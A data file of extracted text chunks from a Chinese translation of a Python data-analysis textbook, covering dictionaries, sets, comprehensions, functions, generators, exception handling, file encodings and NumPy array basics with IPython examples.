    {"text": "下面是一种写法： mapping = {} for key, value in zip(key_list, value_list): mapping[key] = value 因为字典本质上是2元元组的集合，dict可以接受2元元组的列表： In [121]: mapping = dict(zip(range(5), reversed(range(5)))) In [122]: mapping Out[122]: {0: 4, 1: 3, 2: 2, 3: 1, 4: 0} 后面会谈到 dict comprehensions ，另一种构建字典的优雅方式。"},
    {"text": "60 默认值 下面的逻辑很常见： if key in some_dict: value = some_dict[key] else: value = default_value 因此，dict的方法get和pop可以取默认值进行返回，上面的if-else语句可以简写成下面： value = some_dict.get(key, default_value) get默认会返回None，如果不存在键，pop会抛出一个例外。"},
    {"text": "例如，你可以通过首字母，将一个列表中的单词分类： In [123]: words = ['apple', 'bat', 'bar', 'atom', 'book'] In [124]: by_letter = {} In [125]: for word in words: .....: letter = word[0] .....: if letter not in by_letter: .....: by_letter[letter] = [word] .....: else: .....: by_letter[letter].append(word) .....: In [126]: by_letter Out[126]: {'a': ['apple', 'atom'], 'b': ['bat', 'bar', 'book']} setdefault 方法就正是干这个的。 前面的for循环可以改写为： for word in words: letter = word[0] by_letter.setdefault(letter, []).append(word) collections 模块有一个很有用的类， defaultdict ，它可以进一步简化上面。 传递类型或函数 以生成每个位置的默认值： from collections import defaultdict by_letter = defaultdict(list) for word in words: by_letter[word[0]].append(word) 61 有效的键类型 字典的值可以是任意Python对象，而键通常是不可变的标量类型（整数、浮点型、字符串）或元 组（元组中的对象必须是不可变的）。"},
    {"text": "可以用 hash 函数检测一个对象是否 是可哈希的（可被用作字典的键）： In [127]: hash('string') Out[127]: 5023931463650008331 In [128]: hash((1, 2, (2, 3))) Out[128]: 1097636502276347782 In [129]: hash((1, 2, [2, 3])) # fails because lists are mutable --------------------------------------------------------------------------- TypeError Traceback (most recent call last) <ipython-input-129-800cd14ba8be> in <module>() ----> 1 hash((1, 2, [2, 3])) # fails because lists are mutable TypeError: unhashable type: 'list' 要用列表当做键，一种方法是将列表转化为元组，只要内部元素可以被哈希，它也就可以被哈希： In [130]: d = {} In [131]: d[tuple([1, 2, 3])] = 5 In [132]: d Out[132]: {(1, 2, 3): 5} 集合 集合是无序的不可重复的元素的集合。"},
    {"text": "可以用两种方式 创建集合：通过set函数或使用尖括号set语句： In [133]: set([2, 2, 2, 1, 3, 3]) Out[133]: {1, 2, 3} In [134]: {2, 2, 2, 1, 3, 3} Out[134]: {1, 2, 3} 集合支持合并、交集、差分和对称差等数学集合运算。 考虑两个示例集合： In [135]: a = {1, 2, 3, 4, 5} In [136]: b = {3, 4, 5, 6, 7, 8} 62 合并是取两个集合中不重复的元素。 可以用 union 方法，或者 | 运算符： In [137]: a.union(b) Out[137]: {1, 2, 3, 4, 5, 6, 7, 8} In [138]: a | b Out[138]: {1, 2, 3, 4, 5, 6, 7, 8} 交集的元素包含在两个集合中。 可以用 intersection 或 & 运算符： In [139]: a.intersection(b) Out[139]: {3, 4, 5} In [140]: a & b Out[140]: {3, 4, 5} 表3-1列出了常用的集合方法。"},
    {"text": "对于大的集合，这 么做效率更高： In [141]: c = a.copy() In [142]: c |= b In [143]: c 63 Out[143]: {1, 2, 3, 4, 5, 6, 7, 8} In [144]: d = a.copy() In [145]: d &= b In [146]: d Out[146]: {3, 4, 5} 与字典类似，集合元素通常都是不可变的。"},
    {"text": "要获得类似列表的元素，必须转换成元组： In [147]: my_data = [1, 2, 3, 4] In [148]: my_set = {tuple(my_data)} In [149]: my_set Out[149]: {(1, 2, 3, 4)} 你还可以检测一个集合是否是另一个集合的子集或父集： In [150]: a_set = {1, 2, 3, 4, 5} In [151]: {1, 2, 3}.issubset(a_set) Out[151]: True In [152]: a_set.issuperset({1, 2, 3}) Out[152]: True 集合的内容相同时，集合才对等： In [153]: {1, 2, 3} == {3, 2, 1} Out[153]: True 列表、集合和字典推导式 列表推导式是Python最受喜爱的特性之一。"},
    {"text": "形式如下： [expr for val in collection if condition] 它等同于下面的for循环; result = [] for val in collection: 64 if condition: result.append(expr) filter条件可以被忽略，只留下表达式就行。"},
    {"text": "例如，给定一个字符串列表，我们可以过滤出长度在2 及以下的字符串，并将其转换成大写： In [154]: strings = ['a', 'as', 'bat', 'car', 'dove', 'python'] In [155]: [x.upper() for x in strings if len(x) > 2] Out[155]: ['BAT', 'CAR', 'DOVE', 'PYTHON'] 用相似的方法，还可以推导集合和字典。"},
    {"text": "字典的推导式如下所示： dict_comp = {key-expr : value-expr for value in collection if condition} 集合的推导式与列表很像，只不过用的是尖括号： set_comp = {expr for value in collection if condition} 与列表推导式类似，集合与字典的推导也很方便，而且使代码的读写都很容易。"},
    {"text": "假如我们只想要字符串的长度，用集合推导式的方法非常方便： In [156]: unique_lengths = {len(x) for x in strings} In [157]: unique_lengths Out[157]: {1, 2, 3, 4, 6} map 函数可以进一步简化： In [158]: set(map(len, strings)) Out[158]: {1, 2, 3, 4, 6} 作为一个字典推导式的例子，我们可以创建一个字符串的查找映射表以确定它在列表中的位置： In [159]: loc_mapping = {val : index for index, val in enumerate(strings)} In [160]: loc_mapping Out[160]: {'a': 0, 'as': 1, 'bat': 2, 'car': 3, 'dove': 4, 'python': 5} 嵌套列表推导式 假设我们有一个包含列表的列表，包含了一些英文名和西班牙名： 65 In [161]: all_data = [['John', 'Emily', 'Michael', 'Mary', 'Steven'], .....: ['Maria', 'Juan', 'Javier', 'Natalia', 'Pilar']] 你可能是从一些文件得到的这些名字，然后想按照语言进行分类。"},
    {"text": "可以用for循环来做： names_of_interest = [] for names in all_data: enough_es = [name for name in names if name.count('e') >= 2] names_of_interest.extend(enough_es) 可以用嵌套列表推导式的方法，将这些写在一起，如下所示： In [162]: result = [name for names in all_data for name in names .....: if name.count('e') >= 2] In [163]: result Out[163]: ['Steven'] 嵌套列表推导式看起来有些复杂。"},
    {"text": "下面是另一个例子，我们将一个整数元组的列表扁平化成了一个整数列表： In [164]: some_tuples = [(1, 2, 3), (4, 5, 6), (7, 8, 9)] In [165]: flattened = [x for tup in some_tuples for x in tup] In [166]: flattened Out[166]: [1, 2, 3, 4, 5, 6, 7, 8, 9] 记住，for表达式的顺序是与嵌套for循环的顺序一样（而不是列表推导式的顺序）： flattened = [] for tup in some_tuples: for x in tup: flattened.append(x) 你可以有任意多级别的嵌套，但是如果你有两三个以上的嵌套，你就应该考虑下代码可读性的问题 了。 分辨列表推导式的列表推导式中的语法也是很重要的： In [167]: [[x for x in tup] for tup in some_tuples] Out[167]: [[1, 2, 3], [4, 5, 6], [7, 8, 9]] 66 这段代码产生了一个列表的列表，而不是扁平化的只包含元素的列表。"},
    {"text": "函数使用 def 关键字声明，用 return 关键字返回值： def my_function(x, y, z=1.5): if z > 1: return z * (x + y) else: return z / (x + y) 同时拥有多条return语句也是可以的。"},
    {"text": "函数可以有一些位置参数（positional）和一些关键字参数（keyword）。 关键字参数通常用于指定 默认值或可选参数。 在上面的函数中，x和y是位置参数，而z则是关键字参数。"},
    {"text": "也就是说，该函数 可以下面这两种方式进行调用： my_function(5, 6, z=0.7) my_function(3.14, 7, 3.5) my_function(10, 20) 函数参数的主要限制在于：关键字参数必须位于位置参数（如果有的话）之后。"},
    {"text": "任何在函数中赋值的变量默认都是被 分配到局部命名空间（local namespace）中的。 局部命名空间是在函数被调用时创建的，函数参 67 数会立即填入该命名空间。 在函数执行完毕之后，局部命名空间就会被销毁（会有一些例外的情 况，具体请参见后面介绍闭包的那一节）。"},
    {"text": "看看下面这个函数： def func(): a = [] for i in range(5): a.append(i) 调用func()之后，首先会创建出空列表a，然后添加5个元素，最后a会在该函数退出的时候被销 毁。 假如我们像下面这样定义a： a = [] def func(): for i in range(5): a.append(i) 虽然可以在函数中对全局变量进行赋值操作，但是那些变量必须用global关键字声明成全局的才 行： In [168]: a = None In [169]: def bind_a_variable(): .....: global a .....: a = [] .....: bind_a_variable() .....: In [170]: print(a) [] 注意：我常常建议人们不要频繁使用global关键字。"},
    {"text": "下面是一个简单的例子： def f(): a = 5 b = 6 c = 7 return a, b, c 68 a, b, c = f() 在数据分析和其他科学计算应用中，你会发现自己常常这么干。"},
    {"text": "在上面的例子中，我们还可以这样写： return_value = f() 这里的return_value将会是一个含有3个返回值的三元元组。 此外，还有一种非常具有吸引力的多 值返回方式——返回字典： def f(): a = 5 b = 6 c = 7 return {'a' : a, 'b' : b, 'c' : c} 取决于工作内容，第二种方法可能很有用。"},
    {"text": "假设我们有下面这样一个字符串数组，希望对其进行一些数据清理工作并执行一堆转换： In [171]: states = [' Alabama ', 'Georgia!', 'Georgia', 'georgia', 'FlOrIda', .....: 'south carolina##', 'West virginia?'] 不管是谁，只要处理过由用户提交的调查数据，就能明白这种乱七八糟的数据是怎么一回事。"},
    {"text": "做法之一是使用内建的字符串方法和正则表达式 re 模块： import re def clean_strings(strings): result = [] for value in strings: value = value.strip() value = re.sub('[!#?]', '', value) value = value.title() result.append(value) return result 结果如下所示： 69 In [173]: clean_strings(states) Out[173]: ['Alabama', 'Georgia', 'Georgia', 'Georgia', 'Florida', 'South Carolina', 'West Virginia'] 其实还有另外一种不错的办法：将需要在一组给定字符串上执行的所有运算做成一个列表： def remove_punctuation(value): return re.sub('[!#?]', '', value) clean_ops = [str.strip, remove_punctuation, str.title] def clean_strings(strings, ops): result = [] for value in strings: for function in ops: value = function(value) result.append(value) return result 然后我们就有了： In [175]: clean_strings(states, clean_ops) Out[175]: ['Alabama', 'Georgia', 'Georgia', 'Georgia', 'Florida', 'South Carolina', 'West Virginia'] 这种多函数模式使你能在很高的层次上轻松修改字符串的转换方式。"},
    {"text": "还可以将函数用作其他函数的参数，比如内置的map函数，它用于在一组数据上应用一个函数： In [176]: for x in map(remove_punctuation, states): .....: print(x) Alabama Georgia 70 Georgia georgia FlOrIda south carolina West virginia 匿名（ lambda ）函数 Python支持一种被称为匿名的、或lambda函数。"},
    {"text": "看看下面这个简单得有些傻 的例子： def apply_to_list(some_list, f): return [f(x) for x in some_list] ints = [4, 0, 1, 5, 6] apply_to_list(ints, lambda x: x * 2) 虽然你可以直接编写[x *2for x in ints]，但是这里我们可以非常轻松地传入一个自定义运算给 apply_to_list函数。"},
    {"text": "假设有一组字符串，你想要根据各字符串不同字母的数量对其进行排序： In [177]: strings = ['foo', 'card', 'bar', 'aaaa', 'abab'] 这里，我们可以传入一个lambda函数到列表的sort方法： In [178]: strings.sort(key=lambda x: len(set(list(x)))) In [179]: strings Out[179]: ['aaaa', 'foo', 'abab', 'bar', 'card'] 71 笔记：lambda函数之所以会被称为匿名函数，与def声明的函数不同，原因之一就是这种函 数对象本身是没有提供名称 name 属性。"},
    {"text": "柯里化：部分参数应用 柯里化（currying）是一个有趣的计算机科学术语，它指的是通过“部分参数应用”（partial argument application）从现有函数派生出新函数的技术。"},
    {"text": "例如，假设我们有一个执行两数相加的 简单函数： def add_numbers(x, y): return x + y 通过这个函数，我们可以派生出一个新的只有一个参数的函数——add_five，它用于对其参数加 5： add_five = lambda y: add_numbers(5, y) add_numbers的第二个参数称为“柯里化的”（curried）。"},
    {"text": "内置的functools模块可以用partial函数将此 过程简化： from functools import partial add_five = partial(add_numbers, 5) 生成器 能以一种一致的方式对序列进行迭代（比如列表中的对象或文件中的行）是Python的一个重要特 点。"},
    {"text": "比如说，对字典进行迭代可以得到其所有的键： In [180]: some_dict = {'a': 1, 'b': 2, 'c': 3} In [181]: for key in some_dict: .....: print(key) a b c 当你编写for key in some_dict时，Python解释器首先会尝试从some_dict创建一个迭代器： In [182]: dict_iterator = iter(some_dict) 72 In [183]: dict_iterator Out[183]: <dict_keyiterator at 0x7fbbd5a9f908> 迭代器是一种特殊对象，它可以在诸如for循环之类的上下文中向Python解释器输送对象。"},
    {"text": "比如min、max、sum等内置方法以 及list、tuple等类型构造器： In [184]: list(dict_iterator) Out[184]: ['a', 'b', 'c'] 生成器（generator）是构造新的可迭代对象的一种简单方式。"},
    {"text": "要创建一个生成器，只需将函数中的return替换为yeild即可： def squares(n=10): print('Generating squares from 1 to {0}'.format(n ** 2)) for i in range(1, n + 1): yield i ** 2 调用该生成器时，没有任何代码会被立即执行： In [186]: gen = squares() In [187]: gen Out[187]: <generator object squares at 0x7fbbd5ab4570> 直到你从该生成器中请求元素时，它才会开始执行其代码： In [188]: for x in gen: .....: print(x, end=' ') Generating squares from 1 to 100 1 4 9 16 25 36 49 64 81 100 生成器表达式 另一种更简洁的构造生成器的方法是使用生成器表达式（generator expression）。"},
    {"text": "其创建方式为，把列表推导式两端的方括号改成圆括号： In [189]: gen = (x ** 2 for x in range(100)) In [190]: gen Out[190]: <generator object <genexpr> at 0x7fbbd5ab29e8> 73 它跟下面这个冗长得多的生成器是完全等价的： def _make_gen(): for x in range(100): yield x ** 2 gen = _make_gen() 生成器表达式也可以取代列表推导式，作为函数参数： In [191]: sum(x ** 2 for x in range(100)) Out[191]: 328350 In [192]: dict((i, i **2) for i in range(5)) Out[192]: {0: 0, 1: 1, 2: 4, 3: 9, 4: 16} itertools 模块 标准库itertools模块中有一组用于许多常见数据算法的生成器。"},
    {"text": "下面是一个例子： In [193]: import itertools In [194]: first_letter = lambda x: x[0] In [195]: names = ['Alan', 'Adam', 'Wes', 'Will', 'Albert', 'Steven'] In [196]: for letter, names in itertools.groupby(names, first_letter): .....: print(letter, list(names)) # names is a generator A ['Alan', 'Adam'] W ['Wes', 'Will'] A ['Albert'] S ['Steven'] 表3-2中列出了一些我经常用到的itertools函数。"},
    {"text": "例如，Python的float函数可以将字符串转换成浮点数，但输入有误时， 有 ValueError 错误： In [197]: float('1.2345') Out[197]: 1.2345 In [198]: float('something') --------------------------------------------------------------------------- ValueError Traceback (most recent call last) <ipython-input-198-439904410854> in <module>() ----> 1 float('something') ValueError: could not convert string to float: 'something' 假如想优雅地处理float的错误，让它返回输入值。 我们可以写一个函数，在try/except中调用 float： def attempt_float(x): try: return float(x) except: return x 当float(x)抛出异常时，才会执行except的部分： In [200]: attempt_float('1.2345') Out[200]: 1.2345 In [201]: attempt_float('something') Out[201]: 'something' 75 你可能注意到float抛出的异常不仅是ValueError： In [202]: float((1, 2)) --------------------------------------------------------------------------- TypeError Traceback (most recent call last) <ipython-input-202-842079ebb635> in <module>() ----> 1 float((1, 2)) TypeError: float() argument must be a string or a number, not 'tuple' 你可能只想处理ValueError，TypeError错误（输入不是字符串或数值）可能是合理的bug。 可以写 一个异常类型： def attempt_float(x): try: return float(x) except ValueError: return x 然后有： In [204]: attempt_float((1, 2)) --------------------------------------------------------------------------- TypeError Traceback (most recent call last) <ipython-input-204-9bdfd730cead> in <module>() ----> 1 attempt_float((1, 2)) <ipython-input-203-3e06b8379b6b> in attempt_float(x) 1 def attempt_float(x): 2 try: ----> 3 return float(x) 4 except ValueError: 5 return x TypeError: float() argument must be a string or a number, not 'tuple' 可以用元组包含多个异常： def attempt_float(x): try: return float(x) except (TypeError, ValueError): return x 某些情况下，你可能不想抑制异常，你想无论try部分的代码是否成功，都执行一段代码。"},
    {"text": "相似的，你可以用else让只在try部分成功的情况下，才执行代码： f = open(path, 'w') try: write_to_file(f) except: print('Failed') else: print('Succeeded') finally: f.close() IPython 的异常 如果是在%run一个脚本或一条语句时抛出异常，IPython默认会打印完整的调用栈 （traceback），在栈的每个点都会有几行上下文： In [10]: %run examples/ipython_bug.py --------------------------------------------------------------------------- AssertionError Traceback (most recent call last) /home/wesm/code/pydata-book/examples/ipython_bug.py in <module>() 13 throws_an_exception() 14 ---> 15 calling_things() /home/wesm/code/pydata-book/examples/ipython_bug.py in calling_things() 11 def calling_things(): 12 works_fine() ---> 13 throws_an_exception() 14 15 calling_things() /home/wesm/code/pydata-book/examples/ipython_bug.py in throws_an_exception() 7 a = 5 8 b = 6 ----> 9 assert(a + b == 10) 10 11 def calling_things(): 77 AssertionError: 自身就带有文本是相对于Python标准解释器的极大优点。"},
    {"text": "为了打开一个文件以便读写，可以使用内置的open函数以及一个相对或绝对的文件路径： In [207]: path = 'examples/segismundo.txt' In [208]: f = open(path) 默认情况下，文件是以只读模式（'r'）打开的。"},
    {"text": "然后，我们就可以像处理列表那样来处理这个文件 句柄f了，比如对行进行迭代： for line in f: pass 从文件中取出的行都带有完整的行结束符（EOL），因此你常常会看到下面这样的代码（得到一组 没有EOL的行）： In [209]: lines = [x.rstrip() for x in open(path)] In [210]: lines Out[210]: ['Sueña el rico en su riqueza,', 'que más cuidados le ofrece;', '', 'sueña el pobre que padece', 'su miseria y su pobreza;', '', 'sueña el que a medrar empieza,', 'sueña el que afana y pretende,', 'sueña el que agravia y ofende,', '', 'y en el mundo, en conclusión,', 'todos sueñan lo que son,', 'aunque ninguno lo entiende.', 78 ''] 如果使用open创建文件对象，一定要用close关闭它。 关闭文件可以返回操作系统资源： In [211]: f.close() 用with语句可以可以更容易地清理打开的文件： In [212]: with open(path) as f: .....: lines = [x.rstrip() for x in f] 这样可以在退出代码块时，自动关闭文件。"},
    {"text": "字符的内容是由文 件的编码决定的（如UTF-8），如果是二进制模式打开的就是原始字节： In [213]: f = open(path) In [214]: f.read(10) Out[214]: 'Sueña el r' In [215]: f2 = open(path, 'rb') # Binary mode In [216]: f2.read(10) Out[216]: b'Sue\\xc3\\xb1a el ' read模式会将文件句柄的位置提前，提前的数量是读取的字节数。 tell可以给出当前的位置： In [217]: f.tell() Out[217]: 11 79 In [218]: f2.tell() Out[218]: 10 尽管我们从文件读取了10个字符，位置却是11，这是因为用默认的编码用了这么多字节才解码了 这10个字符。 你可以用sys模块检查默认的编码： In [219]: import sys In [220]: sys.getdefaultencoding() Out[220]: 'utf-8' seek将文件位置更改为文件中的指定字节： In [221]: f.seek(3) Out[221]: 3 In [222]: f.read(1) Out[222]: 'ñ' 最后，关闭文件： In [223]: f.close() In [224]: f2.close() 向文件写入，可以使用文件的write或writelines方法。"},
    {"text": "例如，我们可以创建一个无空行版的 prof_mod.py： In [225]: with open('tmp.txt', 'w') as handle: .....: handle.writelines(x for x in open(path) if len(x) > 1) In [226]: with open('tmp.txt') as f: .....: lines = f.readlines() In [227]: lines Out[227]: ['Sueña el rico en su riqueza,\\n', 'que más cuidados le ofrece;\\n', 'sueña el pobre que padece\\n', 'su miseria y su pobreza;\\n', 'sueña el que a medrar empieza,\\n', 'sueña el que afana y pretende,\\n', 'sueña el que agravia y ofende,\\n', 'y en el mundo, en conclusión,\\n', 'todos sueñan lo que son,\\n', 80 'aunque ninguno lo entiende.\\n'] 表3-4列出了一些最常用的文件方法。"},
    {"text": "我们来看上一节的文件（UTF-8编码、包含非ASCII字 符）： In [230]: with open(path) as f: .....: chars = f.read(10) In [231]: chars Out[231]: 'Sueña el r' UTF-8是长度可变的Unicode编码，所以当我从文件请求一定数量的字符时，Python会从文件读取 足够多（可能少至10或多至40字节）的字节进行解码。 如果以“rb”模式打开文件，则读取确切的请 求字节数： In [232]: with open(path, 'rb') as f: .....: data = f.read(10) In [233]: data Out[233]: b'Sue\\xc3\\xb1a el ' 取决于文本的编码，你可以将字节解码为str对象，但只有当每个编码的Unicode字符都完全成形时 才能这么做： In [234]: data.decode('utf8') Out[234]: 'Sueña el ' 81 In [235]: data[:4].decode('utf8') --------------------------------------------------------------------------- UnicodeDecodeError Traceback (most recent call last) <ipython-input-235-300e0af10bb7> in <module>() ----> 1 data[:4].decode('utf8') UnicodeDecodeError: 'utf-8' codec can't decode byte 0xc3 in position 3: unexpecte d end of data 文本模式结合了open的编码选项，提供了一种更方便的方法将Unicode转换为另一种编码： In [236]: sink_path = 'sink.txt' In [237]: with open(path) as source: .....: with open(sink_path, 'xt', encoding='iso-8859-1') as sink: .....: sink.write(source.read()) In [238]: with open(sink_path, encoding='iso-8859-1') as f: .....: print(f.read(10)) Sueña el r 注意，不要在二进制模式中使用seek。 如果文件位置位于定义Unicode字符的字节的中间位置，读 取后面会产生错误： In [240]: f = open(path) In [241]: f.read(5) Out[241]: 'Sueña' In [242]: f.seek(4) Out[242]: 4 In [243]: f.read(1) --------------------------------------------------------------------------- UnicodeDecodeError Traceback (most recent call last) <ipython-input-243-7841103e33f5> in <module>() ----> 1 f.read(1) /miniconda/envs/book-env/lib/python3.6/codecs.py in decode(self, input, final) 319 # decode input (taking the buffer into account) 320 data = self.buffer + input --> 321 (result, consumed) = self._buffer_decode(data, self.errors, final ) 322 # keep undecoded input until the next call 323 self.buffer = data[consumed:] UnicodeDecodeError: 'utf-8' codec can't decode byte 0xb1 in position 0: invalid s tart byte 82 In [244]: f.close() 如果你经常要对非ASCII字符文本进行数据分析，通晓Python的Unicode功能是非常重要的。"},
    {"text": "要搞明白具体的性能差距，考察一个包含一百万整数的数组，和一个等价的Python列表： In [7]: import numpy as np 84 In [8]: my_arr = np.arange(1000000) In [9]: my_list = list(range(1000000)) 各个序列分别乘以2： In [10]: %time for _ in range(10): my_arr2 = my_arr * 2 CPU times: user 20 ms, sys: 50 ms, total: 70 ms Wall time: 72.4 ms In [11]: %time for _ in range(10): my_list2 = [x * 2 for x in my_list] CPU times: user 760 ms, sys: 290 ms, total: 1.05 s Wall time: 1.05 s 基于NumPy的算法要比纯Python快10到100倍（甚至更快），并且使用的内存更少。"},
    {"text": "4.1 NumPy 的 ndarray ：一种多维数组对象 NumPy最重要的一个特点就是其N维数组对象（即ndarray），该对象是一个快速而灵活的大数据 集容器。"},
    {"text": "要明白Python是如何利用与标量值类似的语法进行批次计算，我先引入NumPy，然后生成一个包 含随机数据的小数组： In [12]: import numpy as np # Generate some random data In [13]: data = np.random.randn(2, 3) In [14]: data Out[14]: array([[-0.2047, 0.4789, -0.5194], [-0.5557, 1.9658, 1.3934]]) 然后进行数学运算： In [15]: data * 10 Out[15]: array([[ -2.0471, 4.7894, -5.1944], [ -5.5573, 19.6578, 13.9341]]) In [16]: data + data Out[16]: array([[-0.4094, 0.9579, -1.0389], [-1.1115, 3.9316, 2.7868]]) 85 第一个例子中，所有的元素都乘以10。"},
    {"text": "每个数 组都有一个shape（一个表示各维度大小的元组）和一个dtype（一个用于说明数组数据类型的对 象）： In [17]: data.shape Out[17]: (2, 3) In [18]: data.dtype Out[18]: dtype('float64') 本章将会介绍NumPy数组的基本用法，这对于本书后面各章的理解基本够用。"},
    {"text": "以一个列表的转换为例： In [19]: data1 = [6, 7.5, 8, 0, 1] In [20]: arr1 = np.array(data1) In [21]: arr1 Out[21]: array([ 6. , 7.5, 8. , 0. , 1. ]) 嵌套序列（比如由一组等长列表组成的列表）将会被转换为一个多维数组： In [22]: data2 = [[1, 2, 3, 4], [5, 6, 7, 8]] In [23]: arr2 = np.array(data2) In [24]: arr2 Out[24]: array([[1, 2, 3, 4], 86 [5, 6, 7, 8]]) 因为data2是列表的列表，NumPy数组arr2的两个维度的shape是从data2引入的。"},
    {"text": "可以用属性ndim 和shape验证： In [25]: arr2.ndim Out[25]: 2 In [26]: arr2.shape Out[26]: (2, 4) 除非特别说明（稍后将会详细介绍），np.array会尝试为新建的这个数组推断出一个较为合适的数 据类型。"},
    {"text": "比如说，在上面的两个例子中，我们有： In [27]: arr1.dtype Out[27]: dtype('float64') In [28]: arr2.dtype Out[28]: dtype('int64') 除np.array之外，还有一些函数也可以新建数组。"},
    {"text": "要用这些方法创建多维数组，只 需传入一个表示形状的元组即可： In [29]: np.zeros(10) Out[29]: array([ 0., 0., 0., 0., 0., 0., 0., 0., 0., 0.]) In [30]: np.zeros((3, 6)) Out[30]: array([[ 0., 0., 0., 0., 0., 0.], [ 0., 0., 0., 0., 0., 0.], [ 0., 0., 0., 0., 0., 0.]]) In [31]: np.empty((2, 3, 2)) Out[31]: array([[[ 0., 0.], [ 0., 0.], [ 0., 0.]], [[ 0., 0.], [ 0., 0.], [ 0., 0.]]]) 注意：认为np.empty会返回全0数组的想法是不安全的。"},
    {"text": "87 arange是Python内置函数range的数组版： In [32]: np.arange(15) Out[32]: array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14]) 表4-1列出了一些数组创建函数。"},
    {"text": "ndarray 的数据类型 dtype（数据类型）是一个特殊的对象，它含有ndarray将一块内存解释为特定数据类型所需的信 息： In [33]: arr1 = np.array([1, 2, 3], dtype=np.float64) In [34]: arr2 = np.array([1, 2, 3], dtype=np.int32) In [35]: arr1.dtype Out[35]: dtype('float64') In [36]: arr2.dtype Out[36]: dtype('int32') dtype是NumPy灵活交互其它系统的源泉之一。"},
    {"text": "多数情况下，它们直接映射到相应的机器表示，这 使得“读写磁盘上的二进制数据流”以及“集成低级语言代码（如C、Fortran）”等工作变得更加简 单。"},
    {"text": "你可以通过ndarray的astype方法明确地将一个数组从一个dtype转换成另一个dtype： In [37]: arr = np.array([1, 2, 3, 4, 5]) In [38]: arr.dtype Out[38]: dtype('int64') In [39]: float_arr = arr.astype(np.float64) In [40]: float_arr.dtype Out[40]: dtype('float64') 89 在本例中，整数被转换成了浮点数。 如果将浮点数转换成整数，则小数部分将会被截取删除： In [41]: arr = np.array([3.7, -1.2, -2.6, 0.5, 12.9, 10.1]) In [42]: arr Out[42]: array([ 3.7, -1.2, -2.6, 0.5, 12.9, 10.1]) In [43]: arr.astype(np.int32) Out[43]: array([ 3, -1, -2, 0, 12, 10], dtype=int32) 如果某字符串数组表示的全是数字，也可以用astype将其转换为数值形式： In [44]: numeric_strings = np.array(['1.25', '-9.6', '42'], dtype=np.string_) In [45]: numeric_strings.astype(float) Out[45]: array([ 1.25, -9.6 , 42. ]) 注意：使用numpy.string_类型时，一定要小心，因为NumPy的字符串数据是大小固定的，发 生截取时，不会发出警告。"},
    {"text": "数组的dtype还有另一个属性： In [46]: int_array = np.arange(10) In [47]: calibers = np.array([.22, .270, .357, .380, .44, .50], dtype=np.float64) In [48]: int_array.astype(calibers.dtype) Out[48]: array([ 0., 1., 2., 3., 4., 5., 6., 7., 8., 9.]) 你还可以用简洁的类型代码来表示dtype： In [49]: empty_uint32 = np.empty(8, dtype='u4') In [50]: empty_uint32 Out[50]: array([ 0, 1075314688, 0, 1075707904, 0, 1075838976, 0, 1072693248], dtype=uint32) 笔记：调用astype总会创建一个新的数组（一个数据的备份），即使新的dtype与旧的dtype 相同。"},
    {"text": "大小相等的数组之间的任何算术运算都会将运算应用到元素级： In [51]: arr = np.array([[1., 2., 3.], [4., 5., 6.]]) In [52]: arr Out[52]: array([[ 1., 2., 3.], [ 4., 5., 6.]]) In [53]: arr * arr Out[53]: array([[ 1., 4., 9.], [ 16., 25., 36.]]) In [54]: arr - arr Out[54]: array([[ 0., 0., 0.], [ 0., 0., 0.]]) 数组与标量的算术运算会将标量值传播到各个元素： In [55]: 1 / arr Out[55]: array([[ 1. , 0.5 , 0.3333], [ 0.25 , 0.2 , 0.1667]]) In [56]: arr ** 0.5 Out[56]: array([[ 1. , 1.4142, 1.7321], [ 2. , 2.2361, 2.4495]]) 大小相同的数组之间的比较会生成布尔值数组： In [57]: arr2 = np.array([[0., 4., 1.], [7., 2., 12.]]) In [58]: arr2 Out[58]: array([[ 0., 4., 1.], [ 7., 2., 12.]]) In [59]: arr2 > arr Out[59]: array([[False, True, False], 91 [ True, False, True]], dtype=bool) 不同大小的数组之间的运算叫做广播（broadcasting），将在附录A中对其进行详细讨论。"},
    {"text": "从表面上看，它们跟Python列表的功能差不多： In [60]: arr = np.arange(10) In [61]: arr Out[61]: array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]) In [62]: arr[5] Out[62]: 5 In [63]: arr[5:8] Out[63]: array([5, 6, 7]) In [64]: arr[5:8] = 12 In [65]: arr Out[65]: array([ 0, 1, 2, 3, 4, 12, 12, 12, 8, 9]) 如上所示，当你将一个标量值赋值给一个切片时（如arr[5:8]=12），该值会自动传播（也就说后面 将会讲到的“广播”）到整个选区。"},
    {"text": "作为例子，先创建一个arr的切片： In [66]: arr_slice = arr[5:8] In [67]: arr_slice Out[67]: array([12, 12, 12]) 现在，当我修稿arr_slice中的值，变动也会体现在原始数组arr中： In [68]: arr_slice[1] = 12345 In [69]: arr Out[69]: array([ 0, 1, 2, 3, 4, 12, 12345, 12, 8, 9]) 92 切片[ : ]会给数组中的所有值赋值： In [70]: arr_slice[:] = 64 In [71]: arr Out[71]: array([ 0, 1, 2, 3, 4, 64, 64, 64, 8, 9]) 如果你刚开始接触NumPy，可能会对此感到惊讶（尤其是当你曾经用过其他热衷于复制数组数据 的编程语言）。"},
    {"text": "在一个二维数组中，各索引位置上的元素不再是标量而是一维 数组： In [72]: arr2d = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]]) In [73]: arr2d[2] Out[73]: array([7, 8, 9]) 因此，可以对各个元素进行递归访问，但这样需要做的事情有点多。"},
    {"text": "也就是说，下面两种方式是等价的： In [74]: arr2d[0][2] Out[74]: 3 In [75]: arr2d[0, 2] Out[75]: 3 图4-1说明了二维数组的索引方式。"},
